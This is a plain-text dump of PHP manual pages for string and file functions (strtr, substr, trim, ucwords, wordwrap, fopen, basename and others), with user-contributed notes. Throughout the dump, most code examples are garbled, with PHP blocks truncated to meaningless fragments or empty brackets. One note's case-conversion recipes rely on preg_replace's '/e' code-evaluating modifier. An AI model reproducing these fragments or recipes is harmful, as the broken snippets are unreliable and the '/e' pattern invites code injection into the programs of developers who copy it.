< The next example shows the behavior of strtr() when called with only two arguments. Note the preference of the replacements ("h" is not picked because there are longer matches) and how replaced text was not searched again. Example #2 strtr() example with two arguments > "-", "hello" => "hi", "hi" => "hello"); echo strtr("hi all, I said hello", $trans); ?> < The above example will output: hello all, I said hi The two modes of behavior are substantially different. With three arguments, strtr() will replace bytes; with two, it may replace longer substrings. Example #3 strtr() behavior comparison > "01"); echo strtr("baab", $trans); ?> < The above example will output: 1001 ba01 See Also~ |str_replace|() - Replace all occurrences of the search string with the replacement string |preg_replace|() - Perform a regular expression search and replace User Contributed Notes 40 notes 24 evan dot king at NOSPAM dot example dot com ¶1 year ago~ Here's an important real-world example use-case for strtr where str_replace will not work or will introduce obscure bugs: > 'Dave', 'Dave' => ':name2 or :password', // a wrench in the otherwise sensible input ':name2' => 'Steve', ':pass' => '7hf2348', // sensitive data that maybe shouldn't be here ]; echo strtr($strTemplate, $strParams); // "My name is Dave, not Steve." echo str_replace(array_keys($strParams), array_values($strParams), $strTemplate); // "My name is Steve or 7hf2348word, not Steve or 7hf2348word2." ?> < Any time you're trying to template out a string and don't necessarily know what the replacement keys/values will be (or fully understand the implications of and control their content and order), str_replace will introduce the potential to incorrectly match your keys because it does not expand the longest keys first. Further, str_replace will replace in previous replacements, introducing potential for unintended nested expansions. Doing so can put the wrong data into the "sub-template" or even give users a chance to provide input that exposes data (if they get to define some of the replacement strings). Don't support recursive expansion unless you need it and know it will be safe. When you do support it, do so explicitly by repeating strtr calls until no more expansions are occurring or a sane iteration limit is reached, so that the results never implicitly depend on order of your replacement keys. Also make certain that any user input will expanded in an isolated step after any sensitive data is already expanded into the output and no longer available as input. Note: using some character(s) around your keys to designate them also reduces the possibility of unintended mangling of output, whether maliciously triggered or otherwise. Thus the use of a colon prefix in these examples, which you can easily enforce when accepting replacement input to your templating/translation system. 21 Hayley Watson ¶4 years ago~ Since strtr (like PHP's other string functions) treats strings as a sequence of bytes, and since UTF-8 and other multibyte encodings use - by definition - more than one byte for at least some characters, the three-string form is likely to have problems. Use the associative array form to specify the mapping. > 'a')); // Works much better ?> < 7 dcz at phpbb-seo dot com ¶3 years ago~ strstr will issue a notice when $replace_pairs contains an array, even unused, with php 5.5.0. It was not the case with version at least up to 5.3.2, but I'm not sure the notice was added with exactly 5.5.0. > 'everybody', 'unused' => array('somtehing', 'something else'), 'hello' => 'hey', ); // php 5.5.0 Notice: Array to string conversion in test.php on line 8 echo strtr($str, $replace_pairs); // hi everybody, I said hey ?> < since the result is still correct, @strstr seems a working solution. -------------------------------------------------------------------------------- *substr_compare* +----------------+~ | substr_compare |~ +----------------+~ (PHP 5, PHP 7) substr_compare — Binary safe comparison of two strings from an offset, up to length characters Description~ > int substr_compare ( string $main_str , string $str , int $offset [, int $length [, bool $case_insensitivity = false ]] ) < substr_compare() compares main_str from position offset with str up to length characters. Parameters~ main_str -------- The main string being compared. str ----- The secondary string being compared. offset ------ The start position for the comparison. If negative, it starts counting from the end of the string. length ------ The length of the comparison. The default value is the largest of the length of the str compared to the length of main_str less the offset. case_insensitivity ------------------ If case_insensitivity is TRUE, comparison is case insensitive. Return Values~ Returns < 0 if main_str from position offset is less than str, > 0 if it is greater than str, and 0 if they are equal. If offset is equal to or greater than the length of main_str, or the length is set and is less than 1 (prior to PHP 5.6), substr_compare() prints a warning and returns FALSE. Changelog~ Version Description 5.6.0 length may now be 0. 5.1.0 Added the possibility to use a negative offset. Examples~ Example #1 A substr_compare() example > < See Also~ |strncmp|() - Binary safe string comparison of the first n characters User Contributed Notes 4 notes 16 jimmetry at gmail dot com ¶4 years ago~ When you came to this page, you may have been looking for something a little simpler: A function that can check if a small string exists within a larger string starting at a particular index. Using substr_compare() for this can leave your code messy, because you need to check that your string is long enough (to avoid the warning), manually specify the length of the short string, and like many of the string functions, perform an integer comparison to answer a true/false question. I put together a simple function to return true if $str exists within $mainStr. If $loc is specified, the $str must begin at that index. If not, the entire $mainStr will be searched. > strlen($mainStr)) return false; return (strcmp(substr($mainStr, $loc, strlen($str)), $str) == 0); } ?> 7 Skyborne ¶4 years ago~ Take note of the `length` parameter: "The default value is the largest of the length of the str compared to the length of main_str less the offset." This is *not* the length of str as you might (I always) expect, so if you leave it out, you'll get unexpected results. Example: > < -------------------------------------------------------------------------------- *substr_count* +--------------+~ | substr_count |~ +--------------+~ (PHP 4, PHP 5, PHP 7) substr_count — Count the number of substring occurrences Description~ > int substr_count ( string $haystack , string $needle [, int $offset = 0 [, int $length ]] ) < substr_count() returns the number of times the needle substring occurs in the haystack string. Please note that needle is case sensitive. Note: This function doesn't count overlapped substrings. See the example below! Parameters~ haystack -------- The string to search in needle ------ The substring to search for offset ------ The offset where to start counting. If the offset is negative, counting starts from the end of the string. length ------ The maximum length after the specified offset to search for the substring. It outputs a warning if the offset plus the length is greater than the haystack length. A negative length counts from the end of haystack. Return Values~ This function returns an integer. Changelog~ Version Description 7.1.0 Support for negative offsets and lengths has been added. 5.1.0 Added the offset and the length parameters Examples~ Example #1 A substr_count() example > 14 echo substr_count($text, 'is', 5, 10); // prints only 1, because it doesn't count overlapped substrings $text2 = 'gcdgcdgcd'; echo substr_count($text2, 'gcdgcd'); ?> < See Also~ |count_chars|() - Return information about characters used in a string |strpos|() - Find the position of the first occurrence of a substring in a string |substr|() - Return part of a string |strstr|() - Find the first occurrence of a string User Contributed Notes 10 notes 8 jrhodes at roket-enterprises dot com ¶7 years ago~ It was suggested to use substr_count ( implode( $haystackArray ), $needle ); instead of the function described previously, however this has one flaw. For example this array: array ( 0 => "mystringth", 1 => "atislong" ); If you are counting "that", the implode version will return 1, but the function previously described will return 0. 7 flobi at flobi dot com ¶10 years ago~ Making this case insensitive is easy for anyone who needs this. Simply convert the haystack and the needle to the same case (upper or lower). substr_count(strtoupper($haystack), strtoupper($needle)) -------------------------------------------------------------------------------- *substr_replace* +----------------+~ | substr_replace |~ +----------------+~ (PHP 4, PHP 5, PHP 7) substr_replace — Replace text within a portion of a string Description~ > mixed substr_replace ( mixed $string , mixed $replacement , mixed $start [, mixed $length ] ) < substr_replace() replaces a copy of string delimited by the start and (optionally) length parameters with the string given in replacement. Parameters~ string ------ The input string. An array of strings can be provided, in which case the replacements will occur on each string in turn. In this case, the replacement, start and length parameters may be provided either as scalar values to be applied to each input string in turn, or as arrays, in which case the corresponding array element will be used for each input string. replacement ----------- The replacement string. start ----- If start is non-negative, the replacing will begin at the start'th offset into string. If start is negative, the replacing will begin at the start'th character from the end of string. length ------ If given and is positive, it represents the length of the portion of string which is to be replaced. If it is negative, it represents the number of characters from the end of string at which to stop replacing. If it is not given, then it will default to strlen( string ); i.e. end the replacing at the end of string. Of course, if length is zero then this function will have the effect of inserting replacement into string at the given start offset. Return Values~ The result string is returned. If string is an array then array is returned. Examples~ Example #1 Simple substr_replace() examples > \n"; /* These two examples replace all of $var with 'bob'. */ echo substr_replace($var, 'bob', 0) . "
    \n"; echo substr_replace($var, 'bob', 0, strlen($var)) . "
    \n"; /* Insert 'bob' right at the beginning of $var. */ echo substr_replace($var, 'bob', 0, 0) . "
    \n"; /* These next two replace 'MNRPQR' in $var with 'bob'. */ echo substr_replace($var, 'bob', 10, -1) . "
    \n"; echo substr_replace($var, 'bob', -7, -1) . "
    \n"; /* Delete 'MNRPQR' from $var. */ echo substr_replace($var, '', 10, -1) . "
    \n"; ?> < Example #2 Using substr_replace() to replace multiple strings at once > < The above example will output: A: YYY; B: YYY; C: YYY A: AAA; B: BBB; C: CCC A: AAAXX; B: BBBX; C: CCC Notes Note: This function is binary-safe. See Also~ |str_replace|() - Replace all occurrences of the search string with the replacement string |substr|() - Return part of a string User Contributed Notes 30 notes 16 elloromtz at gmail dot com ¶6 years ago~ It's worth noting that when start and length are both negative -and- the length is less than or equal to start, the length will have the effect of being set as 0. > < Same as: > < Same as: > < Another note, if length is negative and start offsets the same position as length, length (yet again) will have the effect as being set as 0. (Of course, as mentioned in the manual, when length is negative it actually represents the position before it) > < Same as: > < Same as: > < 7 juichenieder-phnet at yahoo dot co dot uk ¶8 years ago~ I've just taken a look at the post by ntoniazzi and I have a very small correction to make. In the second if statement, it should be a triple equals, so: It requires the triple equals, for the case of pure insertion, where $length = 0, the double equals, will catch this, causing the string to be cut short. I hope this helps someone. 7 ivijan dot stefan at gmail dot com ¶3 years ago~ I have a little function that works like substr_replace () what I use for some purpose. Maybe someone needs it. > $d[0]) $position=$d[0]; for($i=$d[0]; $i >= $position; $i--) $string[$i+$d[1]]=$string[$i]; for($i=0; $i<$d[1]; $i++) $string[$position+$i]=$put[$i]; return $string; } // Explanation $string='My dog dont love postman'; // string $put="'"; // put ' on position $position=10; // number of characters (position) print_r( putinplace($string, $put, $position) ); ?> < RESULT: My dog don't love postman This is a small powerful function that performs its job flawlessly. -------------------------------------------------------------------------------- *substr* +--------+~ | substr |~ +--------+~ (PHP 4, PHP 5, PHP 7) substr — Return part of a string Description~ > string substr ( string $string , int $start [, int $length ] ) < Returns the portion of string specified by the start and length parameters. Parameters~ string ------ The input string. Must be one character or longer. start ----- If start is non-negative, the returned string will start at the start'th position in string, counting from zero. For instance, in the string 'abcdef', the character at position 0 is 'a', the character at position 2 is 'c', and so forth. If start is negative, the returned string will start at the start'th character from the end of string. If string is less than start characters long, FALSE will be returned. Example #1 Using a negative start > < length ------ If length is given and is positive, the string returned will contain at most length characters beginning from start (depending on the length of string). If length is given and is negative, then that many characters will be omitted from the end of string (after the start position has been calculated when a start is negative). If start denotes the position of this truncation or beyond, FALSE will be returned. If length is given and is 0, FALSE or NULL, an empty string will be returned. If length is omitted, the substring starting from start until the end of the string will be returned. Example #2 Using a negative length > < Return Values~ Returns the extracted part of string; or FALSE on failure, or an empty string. Changelog~ Version Description 7.0.0 If string is equal to start characters long, an empty string will be returned. Prior to this version, FALSE was returned in this case. 5.2.2 - 5.2.6 If the start parameter indicates the position of a negative truncation or beyond, false is returned. Other versions get the string from start. Examples~ Example #3 Basic substr() usage > < Example #4 substr() casting behaviour > < Output of the above example in PHP 7: 1) 'pe' 2) '54' 3) 'gr' 4) '1' 5) '' 6) '' 7) '1200' Output of the above example in PHP 5: 1) 'pe' 2) '54' 3) 'gr' 4) '1' 5) false 6) false 7) '1200' Errors/Exceptions ¶ Returns FALSE on error. > < See Also~ |strrchr|() - Find the last occurrence of a character in a string |substr_replace|() - Replace text within a portion of a string |preg_match|() - Perform a regular expression match |trim|() - Strip whitespace (or other characters) from the beginning and end of a string |mb_substr|() - Get part of string |wordwrap|() - Wraps a string to a given number of characters User Contributed Notes 47 notes 79 Andreas Bur (andreas dot buro at gmail dot com) ¶7 years ago~ For getting a substring of UTF-8 characters, I highly recommend mb_substr > < 59 biohazard dot ge at gmail dot com ¶3 years ago~ may be by following functions will be easier to extract the needed sub parts from a string: > < here comes the source: > < 11 fanfatal at fanfatal dot pl ¶11 years ago~ Hmm ... this is a script I wrote, whitch is very similar to substr, but it isn't takes html and bbcode for counting and it takes portion of string and show avoided (html & bbcode) tags too ;] Specially usefull for show part of serach result included html and bbcode tags > ]*?>|<\/\w+>)/i'; $clean = preg_replace($pattern, chr(1), $string); if(!$length) $str = substr($clean, $start); else { $str = substr($clean, $start, $length); $str = substr($clean, $start, $length + substr_count($str, chr(1))); } $pattern = str_replace(chr(1),'(.*?)',preg_quote($str)); if(preg_match('/'.$pattern.'/is', $string, $matched)) return $matched[0]; return $string; } ?> < Using this is similar to simple substr. Greatings ;] ... -------------------------------------------------------------------------------- *trim* +------+~ | trim |~ +------+~ (PHP 4, PHP 5, PHP 7) trim — Strip whitespace (or other characters) from the beginning and end of a string Description~ > string trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] ) < This function returns a string with whitespace stripped from the beginning and end of str. Without the second parameter, trim() will strip these characters: " " (ASCII 32 (0x20)), an ordinary space. "\t" (ASCII 9 (0x09)), a tab. "\n" (ASCII 10 (0x0A)), a new line (line feed). "\r" (ASCII 13 (0x0D)), a carriage return. "\0" (ASCII 0 (0x00)), the NUL-byte. "\x0B" (ASCII 11 (0x0B)), a vertical tab. Parameters~ str ----- The string that will be trimmed. character_mask -------------- Optionally, the stripped characters can also be specified using the character_mask parameter. Simply list all characters that you want to be stripped. With .. you can specify a range of characters. Return Values~ The trimmed string. Examples~ Example #1 Usage example of trim() > < The above example will output: string(32) " These are a few words :) ... " string(16) " Example string " string(11) "Hello World" string(28) "These are a few words :) ..." string(24) "These are a few words :)" string(5) "o Wor" string(9) "ello Worl" string(14) "Example string" Example #2 Trimming array values with trim() > < The above example will output: array(3) { [0]=> string(5) "apple" [1]=> string(7) "banana " [2]=> string(11) " cranberry " } array(3) { [0]=> string(5) "apple" [1]=> string(6) "banana" [2]=> string(9) "cranberry" } Notes~ Note: Possible gotcha: removing middle characters Because trim() trims characters from the beginning and end of a string, it may be confusing when characters are (or are not) removed from the middle. trim('abc', 'bad') removes both 'a' and 'b' because it trims 'a' thus moving 'b' to the beginning to also be trimmed. So, this is why it "works" whereas trim('abc', 'b') seemingly does not. See Also~ |ltrim|() - Strip whitespace (or other characters) from the beginning of a string |rtrim|() - Strip whitespace (or other characters) from the end of a string |str_replace|() - Replace all occurrences of the search string with the replacement string User Contributed Notes 7 notes 39 Piopier ¶10 years ago~ It may be useful to know that trim() returns an empty string when the argument is an unset/null variable. 36 ludko2 at gmail dot com ¶6 years ago~ Non-breaking spaces can be troublesome with trim: > > // UTF encodes it as chr(0xC2).chr(0xA0) $converted = trim($converted,chr(0xC2).chr(0xA0)); // should work // PS: Thanks to John for saving my sanity! ?> < 22 jubi at irc dot pl ¶12 years ago~ To remove multiple occurences of whitespace characters in a string an convert them all into single spaces, use this: > < ------------ JUBI http://www.jubi.buum.pl -------------------------------------------------------------------------------- *ucfirst* +---------+~ | ucfirst |~ +---------+~ (PHP 4, PHP 5, PHP 7) ucfirst — Make a string's first character uppercase Description~ > string ucfirst ( string $str ) < Returns a string with the first character of str capitalized, if that character is alphabetic. Note that 'alphabetic' is determined by the current locale. For instance, in the default "C" locale characters such as umlaut-a (ä) will not be converted. Parameters~ str ----- The input string. Return Values~ Returns the resulting string. Examples~ Example #1 ucfirst() example > < See Also~ |lcfirst|() - Make a string's first character lowercase |strtolower|() - Make a string lowercase |strtoupper|() - Make a string uppercase |ucwords|() - Uppercase the first character of each word in a string User Contributed Notes 32 notes 48 plemieux ¶11 years ago~ Simple multi-bytes ucfirst(): > < 18 mattalexxpub at gmail dot com ¶8 years ago~ This is what I use for converting strings to sentence case: > $sentence) { $new_string .= ($key & 1) == 0? ucfirst(strtolower(trim($sentence))) : $sentence.' '; } return trim($new_string); } print sentence_case('HMM. WOW! WHAT?'); // Outputs: "Hmm. Wow! What?" ?> < 12 svetoslavm at gmail dot com ¶8 years ago For some reason this worked for me. Mac OS 10.5.1 PHP 5.2.6 > < Svetoslav Marinov http://slavi.biz 10 prokur.net - there is my email ¶8 years ago~ I believe that mb_ucfirst will be soon added in PHP, but for now this could be useful > < it also check is mb support enabled or not -------------------------------------------------------------------------------- *ucwords* +---------+~ | ucwords |~ +---------+~ (PHP 4, PHP 5, PHP 7) ucwords — Uppercase the first character of each word in a string Description~ > string ucwords ( string $str [, string $delimiters = " \t\r\n\f\v" ] ) < Returns a string with the first character of each word in str capitalized, if that character is alphabetic. The definition of a word is any string of characters that is immediately after any character listed in the delimiters parameter (By default these are: space, form-feed, newline, carriage return, horizontal tab, and vertical tab). Parameters~ str ----- The input string. delimiters ---------- The optional delimiters contains the word separator characters. Return Values~ Returns the modified string. Changelog~ Version Description 5.4.32, 5.5.16 Added the delimiters parameter. Examples~ Example #1 ucwords() example > < Example #2 ucwords() example with custom delimiter > < Notes Note: This function is binary-safe. See Also~ |strtoupper|() - Make a string uppercase |strtolower|() - Make a string lowercase |ucfirst|() - Make a string's first character uppercase |mb_convert_case|() - Perform case folding on a string User Contributed Notes 54 notes 49 jmarois at ca dot ibm dot com ¶7 years ago~ My quick and dirty ucname (Upper Case Name) function. > < You can add more delimiters in the for-each loop array if you want to handle more characters. 24 antoniomax at antoniomax dot com ¶3 years ago~ Para formatar nomes em pt-br: > $delimiter) { $words = explode($delimiter, $string); $newwords = array(); foreach ($words as $wordnr => $word) { if (in_array(mb_strtoupper($word, "UTF-8"), $exceptions)) { // check exceptions list for any words that should be in upper case $word = mb_strtoupper($word, "UTF-8"); } elseif (in_array(mb_strtolower($word, "UTF-8"), $exceptions)) { // check exceptions list for any words that should be in upper case $word = mb_strtolower($word, "UTF-8"); } elseif (!in_array($word, $exceptions)) { // convert to uppercase (non-utf8 only) $word = ucfirst($word); } array_push($newwords, $word); } $string = join($delimiter, $newwords); }//foreach return $string; } ?> < Usage: > < 12 robert at broofa dot com ¶7 years ago~ Some recipes for switching between underscore and camelcase naming: > "ThisMethodName" preg_replace('/(?:^|_)(.?)/e',"strtoupper('$1')",$string); // underscored to lower-camelcase // e.g. "this_method_name" -> "thisMethodName" preg_replace('/_(.?)/e',"strtoupper('$1')",$string); // camelcase (lower or upper) to underscored // e.g. "thisMethodName" -> "this_method_name" // e.g. "ThisMethodName" -> "this_method_name" strtolower(preg_replace('/([^A-Z])([A-Z])/', "$1_$2", $string)); ?> < Of course these aren't 100% symmetric. For example... * this_is_a_string -> ThisIsAString -> this_is_astring * GetURLForString -> get_urlfor_string -> GetUrlforString -------------------------------------------------------------------------------- *vfprintf* +----------+~ | vfprintf |~ +----------+~ (PHP 5, PHP 7) vfprintf — Write a formatted string to a stream Description~ > int vfprintf ( resource $handle , string $format , array $args ) < Write a string produced according to format to the stream resource specified by handle. Operates as fprintf() but accepts an array of arguments, rather than a variable number of arguments. Parameters~ handle ------ format See sprintf() for a description of format. args ----- Return Values~ Returns the length of the outputted string. Examples~ Example #1 vfprintf(): zero-padded integers > < See Also~ |printf|() - Output a formatted string |sprintf|() - Return a formatted string |sscanf|() - Parses input from a string according to a format |fscanf|() - Parses input from a file according to a format |vsprintf|() - Return a formatted string |number_format|() - Format a number with grouped thousands -------------------------------------------------------------------------------- *vprintf* +---------+~ | vprintf |~ +---------+~ (PHP 4 >= 4.1.0, PHP 5, PHP 7) vprintf — Output a formatted string Description~ > int vprintf ( string $format , array $args ) < Display array values as a formatted string according to format (which is described in the documentation for sprintf()). Operates as printf() but accepts an array of arguments, rather than a variable number of arguments. Parameters~ format ------ See sprintf() for a description of format. args ----- Return Values~ Returns the length of the outputted string. Examples~ Example #1 vprintf(): zero-padded integers > < See Also~ |printf|() - Output a formatted string |sprintf|() - Return a formatted string |vsprintf|() - Return a formatted string -------------------------------------------------------------------------------- *vsprintf* +----------+~ | vsprintf |~ +----------+~ (PHP 4 >= 4.1.0, PHP 5, PHP 7) vsprintf — Return a formatted string Description~ > string vsprintf ( string $format , array $args ) < Operates as sprintf() but accepts an array of arguments, rather than a variable number of arguments. Parameters~ format ------ See sprintf() for a description of format. args ----- Return Values~ Return array values as a formatted string according to format (which is described in the documentation for sprintf()). Examples~ Example #1 vsprintf(): zero-padded integers > < See Also~ |sprintf|() - Return a formatted string |vprintf|() - Output a formatted string User Contributed Notes 13 notes 12 Josef Kufner ¶4 years ago~ > 1, 'y' => 2)) * Result: 'y = 2, x = 1.0' * * $args also can be object, then it's properties are retrieved * using get_object_vars(). * * '%s' without argument name works fine too. Everything vsprintf() can do * is supported. * * @author Josef Kufner */ function vksprintf($str, $args) { if (is_object($args)) { $args = get_object_vars($args); } $map = array_flip(array_keys($args)); $new_str = preg_replace_callback('/(^|[^%])%([a-zA-Z0-9_-]+)\$/', function($m) use ($map) { return $m[1].'%'.($map[$m[2]] + 1).'$'; }, $str); return vsprintf($new_str, $args); } ?> < -------------------------------------------------------------------------------- *wordwrap* +----------+~ | wordwrap |~ +----------+~ (PHP 4 >= 4.0.2, PHP 5, PHP 7) wordwrap — Wraps a string to a given number of characters Description~ > string wordwrap ( string $str [, int $width = 75 [, string $break = "\n" [, bool $cut = false ]]] ) < Wraps a string to a given number of characters using a string break character. Parameters~ str ----- The input string. width ----- The number of characters at which the string will be wrapped. break ----- The line is broken using the optional break parameter. cut ----- If the cut is set to TRUE, the string is always wrapped at or before the specified width. So if you have a word that is larger than the given width, it is broken apart. (See second example). When FALSE the function does not split the word even if the width is smaller than the word width. Return Values~ Returns the given string wrapped at the specified length. Examples~ Example #1 wordwrap() example > \n"); echo $newtext; ?> < The above example will output: The quick brown fox
    jumped over the lazy
    dog. Example #2 wordwrap() example > < The above example will output: A very long wooooooo ooooord. Example #3 wordwrap() example > < The above example will output: A very long woooooooooooooooooord. and something See Also ¶ nl2br() - Inserts HTML line breaks before all newlines in a string chunk_split() - Split a string into smaller chunks add a note add a note User Contributed Notes 20 notes 12 ju1ius ¶5 years ago~ Another solution to utf-8 safe wordwrap, unsing regular expressions. Pretty good performance and works in linear time. > < Of course don't forget to use preg_quote on the $width and $break parameters if they come from untrusted input. 13 Dave Lozier - dave at fusionbb.com ¶11 years ago~ If you'd like to break long strings of text but avoid breaking html you may find this useful. It seems to be working for me, hope it works for you. Enjoy. :) > ',$text); $sizeof = sizeof($text_1); for ($i=0; $i<$sizeof; ++$i) { $text_2 = explode('<',$text_1[$i]); if (!empty($text_2[0])) { $new_text .= preg_replace('#([^\n\r .]{25})#i', '\\1 ', $text_2[0]); } if (!empty($text_2[1])) { $new_text .= '<' . $text_2[1] . '>'; } } return $new_text; } ?> < -------------------------------------------------------------------------------- from: http://php.net/manual/en/function.fopen.php *fopen* +-------+~ | fopen |~ +-------+~ (PHP 4, PHP 5, PHP 7) fopen — Opens file or URL Description~ > resource fopen ( string $filename , string $mode [, bool $use_include_path = false [, resource $context ]] ) fopen() binds a named resource, specified by filename, to a stream. < Parameters~ filename -------- If filename is of the form "scheme://...", it is assumed to be a URL and PHP will search for a protocol handler (also known as a wrapper) for that scheme. If no wrappers for that protocol are registered, PHP will emit a notice to help you track potential problems in your script and then continue as though filename specifies a regular file. If PHP has decided that filename specifies a local file, then it will try to open a stream on that file. The file must be accessible to PHP, so you need to ensure that the file access permissions allow this access. If you have enabled safe mode or open_basedir further restrictions may apply. If PHP has decided that filename specifies a registered protocol, and that protocol is registered as a network URL, PHP will check to make sure that allow_url_fopen is enabled. If it is switched off, PHP will emit a warning and the fopen call will fail. Note: The list of supported protocols can be found in Supported Protocols and Wrappers. Some protocols (also referred to as wrappers) support context and/or php.ini options. Refer to the specific page for the protocol in use for a list of options which can be set. (e.g. php.ini value user_agent used by the http wrapper). On the Windows platform, be careful to escape any backslashes used in the path to the file, or use forward slashes. > < mode ----- The mode parameter specifies the type of access you require to the stream. It may be any of the following: A list of possible modes for fopen() using mode mode Description 'r' Open for reading only; place the file pointer at the beginning of the file. 'r+' Open for reading and writing; place the file pointer at the beginning of the file. 'w' Open for writing only; place the file pointer at the beginning of the file and truncate the file to zero length. If the file does not exist, attempt to create it. 'w+' Open for reading and writing; place the file pointer at the beginning of the file and truncate the file to zero length. If the file does not exist, attempt to create it. 'a' Open for writing only; place the file pointer at the end of the file. If the file does not exist, attempt to create it. In this mode, fseek() has no effect, writes are always appended. 'a+' Open for reading and writing; place the file pointer at the end of the file. If the file does not exist, attempt to create it. In this mode, fseek() only affects the reading position, writes are always appended. 'x' Create and open for writing only; place the file pointer at the beginning of the file. If the file already exists, the fopen() call will fail by returning FALSE and generating an error of level E_WARNING. If the file does not exist, attempt to create it. This is equivalent to specifying O_EXCL|O_CREAT flags for the underlying open(2) system call. 'x+' Create and open for reading and writing; otherwise it has the same behavior as 'x'. 'c' Open the file for writing only. If the file does not exist, it is created. If it exists, it is neither truncated (as opposed to 'w'), nor the call to this function fails (as is the case with 'x'). The file pointer is positioned on the beginning of the file. This may be useful if it's desired to get an advisory lock (see flock()) before attempting to modify the file, as using 'w' could truncate the file before the lock was obtained (if truncation is desired, ftruncate() can be used after the lock is requested). 'c+' Open the file for reading and writing; otherwise it has the same behavior as 'c'. 'e' Set close-on-exec flag on the opened file descriptor. Only available in PHP compiled on POSIX.1-2008 conform systems. Note: Different operating system families have different line-ending conventions. When you write a text file and want to insert a line break, you need to use the correct line-ending character(s) for your operating system. Unix based systems use \n as the line ending character, Windows based systems use \r\n as the line ending characters and Macintosh based systems use \r as the line ending character. If you use the wrong line ending characters when writing your files, you might find that other applications that open those files will "look funny". Windows offers a text-mode translation flag ('t') which will transparently translate \n to \r\n when working with the file. In contrast, you can also use 'b' to force binary mode, which will not translate your data. To use these flags, specify either 'b' or 't' as the last character of the mode parameter. The default translation mode depends on the SAPI and version of PHP that you are using, so you are encouraged to always specify the appropriate flag for portability reasons. You should use the 't' mode if you are working with plain-text files and you use \n to delimit your line endings in your script, but expect your files to be readable with applications such as notepad. You should use the 'b' in all other cases. If you do not specify the 'b' flag when working with binary files, you may experience strange problems with your data, including broken image files and strange problems with \r\n characters. Note: For portability, it is strongly recommended that you always use the 'b' flag when opening files with fopen(). Note: Again, for portability, it is also strongly recommended that you re-write code that uses or relies upon the 't' mode so that it uses the correct line endings and 'b' mode instead. use_include_path ---------------- The optional third use_include_path parameter can be set to '1' or TRUE if you want to search for the file in the include_path, too. context ------- Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams. Return Values~ Returns a file pointer resource on success, or FALSE on error. Errors/Exceptions~ If the open fails, an error of level E_WARNING is generated. You may use @ to suppress this warning. Changelog~ Version Description 7.0.16, 7.1.2 The 'e' option were added. 5.2.6 The 'c' and 'c+' options were added 4.3.2 As of PHP 4.3.2, the default mode is set to binary for all platforms that distinguish between binary and text mode. If you are having problems with your scripts after upgrading, try using the 't' flag as a workaround until you have made your script more portable as mentioned before Examples~ Example #1 fopen() examples > < Notes~ Warning When using SSL, Microsoft IIS will violate the protocol by closing the connection without sending a close_notify indicator. PHP will report this as "SSL: Fatal Protocol Error" when you reach the end of the data. To work around this, the value of error_reporting should be lowered to a level that does not include warnings. PHP can detect buggy IIS server software when you open the stream using the https:// wrapper and will suppress the warning. When using fsockopen() to create an ssl:// socket, the developer is responsible for detecting and suppressing this warning. Note: When safe mode is enabled, PHP checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. Note: If you are experiencing problems with reading and writing to files and you're using the server module version of PHP, remember to make sure that the files and directories you're using are accessible to the server process. Note: This function may also succeed when filename is a directory. If you are unsure whether filename is a file or a directory, you may need to use the is_dir() function before calling fopen(). See Also~ Supported Protocols and Wrappers |fclose|() - Closes an open file pointer |fgets|() - Gets line from file pointer |fread|() - Binary-safe file read |fwrite|() - Binary-safe file write |fsockopen|() - Open Internet or Unix domain socket connection |file|() - Reads entire file into an array |file_exists|() - Checks whether a file or directory exists |is_readable|() - Tells whether a file exists and is readable |stream_set_timeout|() - Set timeout period on a stream |popen|() - Opens process file pointer |stream_context_create|() - Creates a stream context |umask|() - Changes the current umask |SplFileObject| User Contributed Notes 43 notes 57 chapman at worldtakeoverindustries dot com ¶5 years ago~ Note - using fopen in 'w' mode will NOT update the modification time (filemtime) of a file like you may expect. You may want to issue a touch() after writing and closing the file which update its modification time. This may become critical in a caching situation, if you intend to keep your hair. 10 php at delhelsa dot com ¶8 years ago~ With php 5.2.5 on Apache 2.2.4, accessing files on an ftp server with fopen() or readfile() requires an extra forwardslash if an absolute path is needed. i.e., if a file called bullbes.txt is stored under /var/school/ on ftp server example.com and you're trying to access it with user blossom and password buttercup, the url would be: ftp://blossom:buttercup@example.com//var/school/bubbles.txt Note the two forwardslashes. It looks like the second one is needed so the server won't interpret the path as relative to blossom's home on townsville. -------------------------------------------------------------------------------- *fclose* +--------+~ | fclose |~ +--------+~ (PHP 4, PHP 5, PHP 7) fclose — Closes an open file pointer Description~ > bool fclose ( resource $handle ) < The file pointed to by handle is closed. Parameters~ handle ------ The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen(). Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 A simple fclose() example > < See Also~ |fopen|() - Opens file or URL |fsockopen|() - Open Internet or Unix domain socket connection User Contributed Notes 9 notes 7 jgotti ¶4 years ago~ In case you have some trouble to properly disconnect some client streams opened with stream_socket_server / stream_select you should give a try to stream_socket_shutdown. > < 6 jricher at jacquesricher dot com ¶12 years ago~ It is a GOOD_THING to check the return value from fclose(), as some operating systems only flush file output on close, and can, therefore, return an error from fclose(). You can catch severe data-eating errors by doing this. I learned this the hard way. -------------------------------------------------------------------------------- *basename* +----------+~ | basename |~ +----------+~ (PHP 4, PHP 5, PHP 7) basename — Returns trailing name component of path Description~ > string basename ( string $path [, string $suffix ] ) < Given a string containing the path to a file or directory, this function will return the trailing name component. Note: basename() operates naively on the input string, and is not aware of the actual filesystem, or path components such as "..". Caution basename() is locale aware, so for it to see the correct basename with multibyte character paths, the matching locale must be set using the setlocale() function. Parameters~ path ----- A path. On Windows, both slash (/) and backslash (\) are used as directory separator character. In other environments, it is the forward slash (/). suffix ------ If the name component ends in suffix this will also be cut off. Return Values~ Returns the base name of the given path. Examples~ Example #1 basename() example > < The above example will output: 1) sudoers 2) sudoers.d 3) passwd 4) etc 5) . 6) See Also~ |dirname|() - Returns a parent directory's path |pathinfo|() - Returns information about a file path 23 stephane dot fidanza at gmail dot com ¶10 years ago~ Support of the $suffix parameter has changed between PHP4 and PHP5: in PHP4, $suffix is removed first, and then the core basename is applied. conversely, in PHP5, $suffix is removed AFTER applying core basename. Example: > < Result in PHP4: file Result in PHP5: Texture) 9 (remove) dot nasretdinov at (remove) dot gmail dot com ¶8 years ago~ There is only one variant that works in my case for my Russian UTF-8 letters: > < It is intented for UNIX servers -------------------------------------------------------------------------------- *chgrp* +-------+~ | chgrp |~ +-------+~ (PHP 4, PHP 5, PHP 7) chgrp — Changes file group Description~ > bool chgrp ( string $filename , mixed $group ) < Attempts to change the group of the file filename to group. Only the superuser may change the group of a file arbitrarily; other users may change the group of a file to any group of which that user is a member. 